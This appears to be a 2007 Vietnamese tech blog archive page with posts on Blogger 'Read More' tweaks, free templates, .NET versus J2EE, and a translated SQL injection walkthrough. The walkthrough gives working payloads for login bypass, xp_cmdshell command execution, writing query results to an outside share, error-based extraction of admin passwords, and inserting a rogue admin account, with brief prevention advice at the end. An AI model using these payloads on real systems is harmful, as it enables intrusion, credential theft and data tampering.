5 thg 10, 2007

Chèn "Read More" hoặc "Đọc Thêm"

DangLVH
Như bạn thấy mỗi bài đăng trên blog của tôi đều có phần “Read More...” và click vào phần này thì bài viết đầy đủ mới hiển thị ra. Nội dung phía trên tóm tắt bài viết. Sử dụng thủ thuật này giúp blog bạn chuyên nghiệp và trông giống một website hơn. Sau đây là 2 cách để các bạn làm điều đó:

Cách 1: Nếu bạn sài template NEO
Vì ở template NEO nó đã hổ trợ cho bạn sẵn tính năng này rồi, nên bạn chỉ việc sài nó thôi. Cách sài như sao:
Mõi lần bạn gửi bài, bạn hãy chép đoạn code sau đây vào khung edit bài viết.
Ở phần "
Type Your Sumary Here" bạn đánh phần nội dung được hiển thị
"
Type Rest of the post here" bạn đánh phần còn lại của nội dung được gửi.


Sau đó bạn chỉ việc gửi đi, và bài viết của bạn sẽ hiển thị giống như bài viết này của mình, khi bấm vào read more nó sẽ hiển thị phần nội dung còn lại của entry và nếu bấm vào Collapse thì nội dung sẽ được tóm gọn lại.

Để cho dể dàng và đở mất công các bạn phải copy đoạn code đó mõi lần gửi bài. Các bạn có thể để mặc định trong khung edit entry của mình đoạn code đó. Có nghĩa là cứ mõi lần vào edit bài viết thì nó sẽ tự động gán đoạn code trên vào.
Thì bạn làm như sau:

Đầu tiên bạn vô bảng điều khiển của blog bạn >>> rồi vào Settings(cài đặt) >>> Tiếp đến vào Formatting(định dạng) >>> rồi bạn kéo xuống cuối trang, ở phần Post Template(Định Dạng Bài Gửi) >>>> Bạn copy đoạn code ở trên vào khung này >>> sau đó Save lại.

Thì kể từ bây giờ cứ mõi khi bạn vào mục edit entry thì đoạn code sẽ có sẵn ở đó cho bạn nhập nội dung vào.

Cách 2: Cách này dùng cho những template bình thường của d2vn( admin Thủ Thuật Blog) viết.
Nguồn bài viết: here


BƯỚC 1: SAO LƯU TEMPLATE VÀ CHÈN CSS


Sau khi đăng nhập vào blogger.com, click trên Template (Mẫu) -> Edit HTML (Chỉnh sửa HTML) thực hiện sao lưu template vào máy tính của bạn.

Sao lưu xong, kéo thanh trượt tìm tag (Có thể bấm Ctrl + F để tìm) và chèn vào phía trên nó đoạn mã dưới và lưu lại.


BƯỚC 2: CHÈN LIÊN KẾT “ĐỌC THÊM”


Tiếp tục hãy click Expand Widgets Template và kéo thanh trượt để tìm tag


(Có thể bấm đồng thời Ctrl + F để tìm). Sau đó chèn đoạn mã này phía dưới nó.


BƯỚC 3: TÙY BIẾN “ĐỌC THÊM”

Nếu bạn dùng đoạn mã trên, khi click vào “Đọc thêm!” bài đăng này sẽ được load về trình duyệt và thay thế trang trước đó. Bạn muốn bài đăng được mở ở một cửa sổ mới hãy chèn đoạn mã này.



Trường hợp bạn muốn chữ “Đọc thêm” lớn hơn hay nhỏ hơn so với các chữ khác của bài hãy chèn đoạn mã dưới. Thay đổi phần trăm để được nhỏ hơn.


Trường hợp bạn muốn chữ “Đọc thêm” in đậm hãy chèn đoạn mã dưới.



Trường hợp bạn muốn chữ “Đọc thêm” có màu hãy chèn đoạn mã dưới (ví dụ ở đây là màu đỏ, bạn có thể lấy màu khác: Từ cửa sổ đăng bài Compose, gõ vài ký tự và chọn màu, click Edit Html để lấy mã, chữ có màu sẽ nằm giữa ).


Bạn có thể sử dụng kết hợp cả ba.

BƯỚC 4: THAY ĐỔI CÁCH ĐĂNG BÀI

Ở cửa sổ đăng bài, thay vì chọn Compose, hãy chọn Edit Html và cấu trúc bài đăng của bạn như bên dưới.


Xem hình:

Đăng bài theo có Đọc thêm

Bài đăng phải nằm trong cấu trúc này. Nếu bạn cảm thấy khó nhớ đoạn code thì hãy vào Settings (Cài đặt) -> Formatting (Định dạng), kéo thanh trượt và tìm Post Template (Mẫu đăng bài), dán đoạn mã vào box kế bên và click Save Settings (Lưu cài đặt) để lưu lại. Mỗi lần đăng bài, đoạn mã này được chèn trước và bạn chỉ việc làm các thao tác để đăng bài.

Chúc thành công.

3 thg 10, 2007

Free Templates For Bloggers

DangLVH
Ratatouille




Shrek the Third



At World's End, Pirates of the Caribbean 3 template



Colibri


New Blogger Template 3 Column : Nyoba 780



New Blogger Template 3 Column : Nyoba




Harry Potter



Jacksonville



Source URL:
http://blogger-templates.blogspot.com/
http://www.ehsany.com/
http://www.finalsense.com/
http://blogspottemplates.blogspot.com/

2 thg 10, 2007

Tìm hiểu về SQL Injection

DangLVH
Mục lục:
1. SQL Injection là gì?
2. Tìm kiếm mục tiêu
3. Kiểm tra chỗ yếu của trang web
4. Tại sao ' or 1=1-- có thể bypass login?
5. Thi hành lệnh từ xa bằng SQL Injection
6. Nhận output của SQL query
7. Nhận data qua 'database using ODBC error message'
8. Xác định tên của các column trong table
9. Thu thập các dữ liệu quan trọng
10. Nhận các numeric string
11. Update/insert data vào CSDL
12. Ngăn chặn SQL Injection
13. Tài liệu thao khảo

1) SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2) Tìm kiếm mục tiêu
Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...
http://vịtcon/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.

3) Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://vịtcon/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp.

Nếu thành công, bạn có thể login vào mà không cần phải biết username và password

4) Tại sao ' or 1=1-- có thể bypass login?
Giả sử như có một trang asp link đến một asp trang khác với URL như sau:
http://vịtcon/index.asp?category=food
Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"
Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

5) Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy (;) sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6) Nhận output của SQL query
Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
folder "share" phải được share cho Everyone trước.

7) Nhận data qua 'database using ODBC error message'
Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Dòng query này sẽ trả về tên của table đầu tiên trong CSDL
Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Bạn cũng có thể search data bằng từ khóa LIKE:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

8) Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9) Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".

10) Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'

11) Update/insert data vào CSDL

Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.
Để thay đổi password của "neo", bạn có thể làm như sau:
http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn chèn một record mới vào table:
http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"

12) Ngăn chặn SQL Injection
Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
- input do người dùng đệ trình
- các tham số từ URL
- các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure mà bạn không dùng như:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

13) Tài liệu thao khảo
- How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
- Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
- A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
- Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
- Khác: http://www.digitaloffense.net/wargames01/IOWargames.ppt, http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6, http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6, http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

* Bài viết này được dịch và sửa đổi từ bài viết "SQL Injection Walkthrough" của xfocus.net.

Kiến trúc .NET trong mô hình ứng dụng thương mại điện tử

DangLVH
Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.

Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.

1. Tổng quan về kiến trúc .NET

Như đã đề cập, J2EE không phải là một sản phẩm cụ thể mà chỉ là các đặc tả đưa ra bởi hãng Sun. Ngược lại, .NET là tập hợp các đặc tả, công nghệ, sản phẩm do Microsoft phát triển phục vụ cho việc phát triển các ứng dụng trên môi trường Internet, thương mại điện tử. Kiến trúc .NET bao gồm các thành phần chính sau:

Hạ tầng và các công cụ phát triển của .NET

Nền tảng và các công cụ phát triển ứng dụng của .NET bao gồm

- Visual Studio .NET: bộ công cụ phát triển ứng dụng. Bạn có thể sử dụng các công cụ phát triển quen thuộc như Visual Basic, Visual C++ hoặc các công cụ lập trình mới như Visual C#. Các ngôn ngữ lập trình khác cũng được hỗ trợ dựa trên sự hợp tác với các hang thứ ba: COBOL từ Fujitsu, Eiffel từ Interactive Software Engineering, ? Điểm mạnh của kiến trúc .NET là hỗ trợ phát triển đa ngôn ngữ (multi language). Các chương trình viết bởi các ngôn ngữ khác nhau sẽ được chuyển đổi sang một ngôn ngữ trung gian thống nhất (Intermediary Language - IL). Các file IL này được đóng gói (packaging) thành các đơn thể phân phối, sau đó được biên dịch bởi bộ biên dịch tức thời (Just in time IL compiler) và thực thi trong môi trường có tên gọi môi trường thực thi chung (Common Language Runtime - CLR).

- ASP.NET: là một thiết kế mới cho việc lập tình ở lớp hiển thị (presentation tier). ASP .NET được thiết kế nhằm đơn giản hoá việc lập trình trước thực trạng gia tǎng của các hệ thống máy khách (client) và các thiết bị đầu cuốI (device). Người lập trình không phải quan tâm nhiều đến việc phát triển giao diện cho nhiều loại máy khách thay vào đó họ chỉ phát triển một giao diện duy nhất ở mức hiển thị (trên cơ sở các đối tượng điều khiên GUI của ASP .NET), phần còn lại sẽ được điều phối và thực hiện bởi ASP .NET và môi trường thực thi chung CLR trên mỗi thiết bị, máy khách.

- ADO.NET: trong mô hình kiến trúc .NET, lớp cơ sở dữ liệu (database tier) được mặc định là SQL Server. Tuy nhiên, để đảm bảo tính mở, ADO.NET được đưa ra như là giao diện giữa lớp xử lý nghiệp vụ (business tier) và lớp cơ sở dữ liệu. ADO.NET giữ vai trò tương tự như JDBC trong mô hình kiến trúc J2EE. Với giao diện này, các ưng dụng .NET có thể truy nhập đến các cơ sở dữ liệu khác như Oracle, DB2, ?

- .NET Enterprise Server: tập hợp các sản phẩm dành cho máy chủ như: SQL Server, Application Server Center, Internet Security Acceleration Server (ISA Server), BizTalk Server, và Commerce Server.

- .NET Framework: đây là phần cốt lõi của kiến trúc .NET hoạt động gắn chặt với hệ điều hành. Nó cung cấp môi trường để thực thi các ứng dụng .NET. Bạn có thể hình dung .NET Framework tương tự như mô hình máy ảo Java (Java Virtual Machine - JVM và Java Runtime Environment - JRE) trong kiến trúc J2EE. Các thành phần cơ bản của .NET Framework bao gồm:

* Môi trường thực thi chung cho các mã chương trình .NET: CLR.
* Bộ biên dịch tức thời: Just in time IL compiler.
* Các thư viện chuẩn của hệ điều hành: Base Classes.
* Các giao diện đối tượng thành phần COM+.

Các dịch vụ cộng thêm của .NET

Bao gồm các dịch vụ chia sẻ thông tin dùng chung cho các ứng dụng trong môi trường Internet:

- .NET Passsport: có thể sử dụng cho việc xác thực người dùng (user authentication).
- Các dịch vụ lưu trữ, quản lý file.
- Dịch vụ quản lý thông tin người dùng.
- Dịch vụ quản lý lịch làm việc (Calendar service).

Các dịch vụ này có thể được cung cấp bởi Microsoft hoặc các đối tác của Microsoft.

Ư'ng dụng của kiến trúc .NET trong mô hình thương mại điện tử

2. So sánh hai kiến trúc .NET và J2EE

2.1. Những điểm tương đồng giữa hai kiến trúc .NET và J2EE

(ko có hình)

2.2. Sự khác biệt giữa hai kiến trúc

Khả nǎng hỗ trợ framework

Điều quan tâm đầu tiên khi xây dựng một ứng dụng thương mại điện tử đó là lựa chọn mô hình phát triển (framework). Nó quyết định tới sự thành công của ứng dụng đặc biệt là đối với các ứng dụng có quy mô lớn. Một mô hình phát triển tốt có thể giảm thời gian, chi phí xây dựng ứng dụng ít nhất là 10 lần so với việc sử dụng chắp vá các công cụ khác nhau.

Trong kiến trúc .NET mô hình phát triển này dựa trên thành phần có tên gọi Commerce Server. Với kiến trúc J2EE, bạn phải lựa chọn, kết nối các thành phần khác nhau để hình thành nên mô hình phát triển ứng dụng. Bản thân Sun không đưa ra mô hình phát triển ở dạng đóng gói nhưng có khá nhiểu sản phẩm từ các hãng thứ ba như: IBM WebSphere, và BEA WebLogic, ?

Ngôn ngữ

J2EE chỉ hỗ trợ ngôn ngữ lập trình Java và trong tương lai có lẽ cũng không có ngôn ngữ lập trình nào được hỗ trợ thêm bởi kiến trúc này. Trong khi đó .NET của Microsoft lại tiếp cận theo hướng hỗ trợ đa ngôn ngữ. Một nhóm phát triển ứng dụng .NET có thể sử dụng nhiều ngôn ngữ lập trình khác nhau tuỳ thuộc thế mạnh của từng cá nhân. Tuy nhiên, J2EE có đưa ra 2 cách tiếp cận để cho phép phát triển ứng dụng bởi nhiều ngôn ngữ lập trình khác nhau. Một là thông qua Java Native Interface, hai là tiếp cận sử dụng công nghệ CORBA.

Sự lựa chọn ngôn ngữ lập trình không phải là yếu tố quyết định sự lựa chọn của bạn giữa kiến trúc J2EE hay .NET. Tất nhiên, nếu bạn muốn sử dụng một hoặc nhiều ngôn ngữ lập trình trong một dự án thì J2EE rõ ràng không phải là sự lựa chọn của bạn. Kiến trúc .NET có hỗ trợ một ngôn ngữ lập trình C# (đọc là C sharp). Đây là ngôn ngữ có cú pháp và phong cách lập trình gần giống với Java. Người lập trình Java có thể chuyển sang lập trình với C# chỉ trong vài giờ.

Nếu bạn lựa chọn Java không phải bởi vấn đề ngôn ngữ mà bởi đặc tính khả chuyển thì J2EE là lựa chọn tốt hơn so với .NET. Chúng ta sẽ bàn thêm về tính khả chuyển trong phần dưới.

Tính khả chuyển

Tính khả chuyển là một đặc tính nổi bật của J2EE và ngôn ngữ lập trình Java. Một chương trình viết bởi Java được thực thi trên máy ảo Java (Java Virtual Machine) thay vì trực tiếp trên hệ điều hành cụ thể. Do đó mã chương trình có thể chuyển từ một hệ điều hành này sang một hệ điều hành khác (có hỗ trợ JVM) để thực thi một cách dễ dàng. Tính khả chuyển về hệ điều hành này của J2EE có được là do phần lớn các sản phẩm J2EE đều hỗ trợ cho nhiều hệ điều hành. Trong khi đó .NET chỉ bó buộc trong hệ điều hành Windows. Do vậy ứng dụng .NET gặp khó khǎn khi phân phối trên mạng.

Kết luận

Chúng ta đã có dịp cùng nhau tìm hiểu mô hình ứng dụng thương mại điện tử thể hiện qua hai kiến trúc điển hình được áp dụng phổ biến hiện nay là J2EE và .NET. Cần phải nhắc lại lần nữa J2EE chỉ là các đặc tả được đưa ra bởi hãng Sun, việc phát triển thành các sản phẩm đóng gói là do các hàng thứ ba đảm nhiệm (ví dụ: BEA WebLogic, IBM WebSphere). Ưu điểm của J2EE là tính khả chuyển: khả chuyển trong khía cạnh hãng phát triển sản phẩm lẫn khả chuyển đối với các hệ điều hành. Nhưng nhược điểm của J2EE là chỉ hỗ trợ một ngôn ngữ lập trình duy nhất đó là Java. Trên thực tế đôi khi sự lựa chọn hay chuyển đổi sang ngôn ngữ Java là không phù hợp đối với một số dạng nghiệp vụ.

Kiến trúc .NET được đưa ra bởi Microsoft. Việc phát triển thành sản phẩm thương mại cũng do Microsoft tiến hành. Nhược điểm của kiến trúc này là chỉ hỗ trợ cho hệ điều hành Windows (điều mà có lẽ Microsoft cho là tiêu chí phát triển của mình từ trước đến nay). Hiện tại cũng chưa có thông tin nào cho thấy sự hỗ trợ của .NET đối với các hệ điều hành khác. Tuy nhiên ưu điểm của .NET là hỗ trợ phát triển ứng dụng đa ngôn ngữ - điều mà J2EE không hỗ trợ. Bên cạnh đó việc áp dụng kiến trúc .NET còn có một số thuận lợi sau: chi phí phát triển thấp, chi phí đầu tư hệ thống ban đầu thấp (so sánh với chi phí cho các hệ thống Unix).

Việc lựa chọn kiến trúc nào cho việc phát triển ứng dụng phụ thuộc vào nhiểu yếu tố: phạm vi bài toán, môi trường triển khai, chi phí phát triển, bảo trì. Ngoài ra cũng cần xem xét đến khả nǎng nắm bắt sử dụng công nghệ của đội ngũ phát triển.

Chu Lâm Thái - Quan Tri Mang

Xây dựng khung ứng dụng J2EE với các mẫu thiết kế trong Java

DangLVH
Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun "áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML".

Ư'ng dụng Web sử dụng J2EE (J2EE web application)

Web application framework

Công nghệ Internet đã và đang làm thay đổi hoàn toàn xu thế kinh doanh truyền thống, nó tạo ra một ?thị trường ảo không biên giới? trên Internet cho phép mọi khách hàng có thể duyệt và mua hàng ngày trên bàn làm việc của họ, đặc biệt mọi giao dịch này đều xảy ra trong thời gian thực. Các ứng dụng phục vụ cho mục đích này được gọi là ứng dụng thương mại điện tử (e-commerce application), đa số các trường hợp người dùng đều sử dụng ứng dụng này trên nền Web.

Mặc dù có nhiều cách cũng như các ngôn ngữ lập trình khác nhau để xây dựng một ứng dụng Web, mỗi công ty đều có một hướng phát triển riêng, tuy nhiên họ cũng đang cố gắng tìm ra những phương án và mô hình có thể sử dụng lại cho các dự án tiếp theo: được coi như là một khung ứng dụng cho các ứng dụng trên Web (web application framework).

Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun ?áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML?.

Luồng dữ liệu trên web và cấu trúc đa tầng với J2EE

Chắc chắn rằng mỗi dự án đều có một phương thức xử lý (bussiness layer) riêng biệt. Tuy nhiên để xây dựng được một framework chung cho nhiều dự án có yêu cầu khác nhau, chúng ta phải có gắng tìm ra được những điểm chung nhất của các chúng. ở đây tôi đưa ra một mô hình luồng dữ liệu trong cấu trúc đa tầng mà các dự án trên web thường sử dụng.

Với mô hình phân tầng này, một yêu cầu (request) từ phía client được phục vụ tại tầng xử lý J2EE chứ không phải tầng Web. Tuy nhiên để đảm bảo cho mô hình hoạt động hiệu quả hơn và cung cấp cho tầng J2EE một khả nǎng chuẩn hoá, thì đối tượng request được qua một vài thao tác tại tầng Web gọi là quá trình tiền xử lý. Các thao tác cơ bản như: trích lọc thông tin từ request, kiểm tra thông tin và xây dựng lại thông tin từ đối tượng request thành một đối tượng chuẩn Java (như Javabeans hoặc một vǎn bản XML).

Ngoài ra, bộ ánh xạ trong các module điều khiển của mô hình cho phép tạo ra một ứng dụng có khả nǎng cấu hình và mở rộng được (configurabitlity và extensibility). Với từng request đến, bộ điều khiển sẽ tìm kiếm ?đối tượng quản trị? (request handler) tương ứng để thực thi cho request này, như vậy khi cần thêm chức nǎng cho hệ thống thực chất là cấu hình thêm cho bộ ánh xạ này. Bộ ánh xạ có vai trò nhưng một bảng dữ liệu đơn giản nên file XML là sự lựa chọn thích hợp nhất.

Java hay Microsoft.NET

Tại sao lại Java?

Chúng ta sẽ phải làm gì trong cuộc chiến giữa Sun và Microsoft, cụ thể hơn giữa Java và .NET? Bạn sẽ lựa chọn cái gì để triển khai dự án của mình trong một loạt các hệ điều hành và các môi trường khác nhau như Windows, Linux, AS/400, Oracle? Hiện tại, IBM và Oracle đang đứng về phía Sun, nếu bạn muốn sản phẩm của bạn hỗ trợ tất cả các platform hiện nay kể cả Windows thì Java có thể là một sự lựa chọn rất hợp lý.

Với Microsoft.NET, sản phẩm của bạn sẽ chỉ chạy được trên nền Windows, bù lại thời gian phát triển dự án bằng .NET có thể sẽ nhanh hơn. Tuy nhiên trong những ứng dụng lớn thì về mặt tốc độ cũng như mức độ ổn định cũng không hẳn là đã vượt trội so với Java.

Các ngôn ngữ khác

Các phương án truyền thống còn lại như CGI (C, Perl), PHP hay ASP3.0? cũng có thể là sự lựa chọn cho các dự án nhỏ, tuy nhiên chúng khó có cơ hội cạnh tranh được với Java và .NET trong tương lai.

Các phương án thiết kế

Mẫu thiết kế (Design pattern)

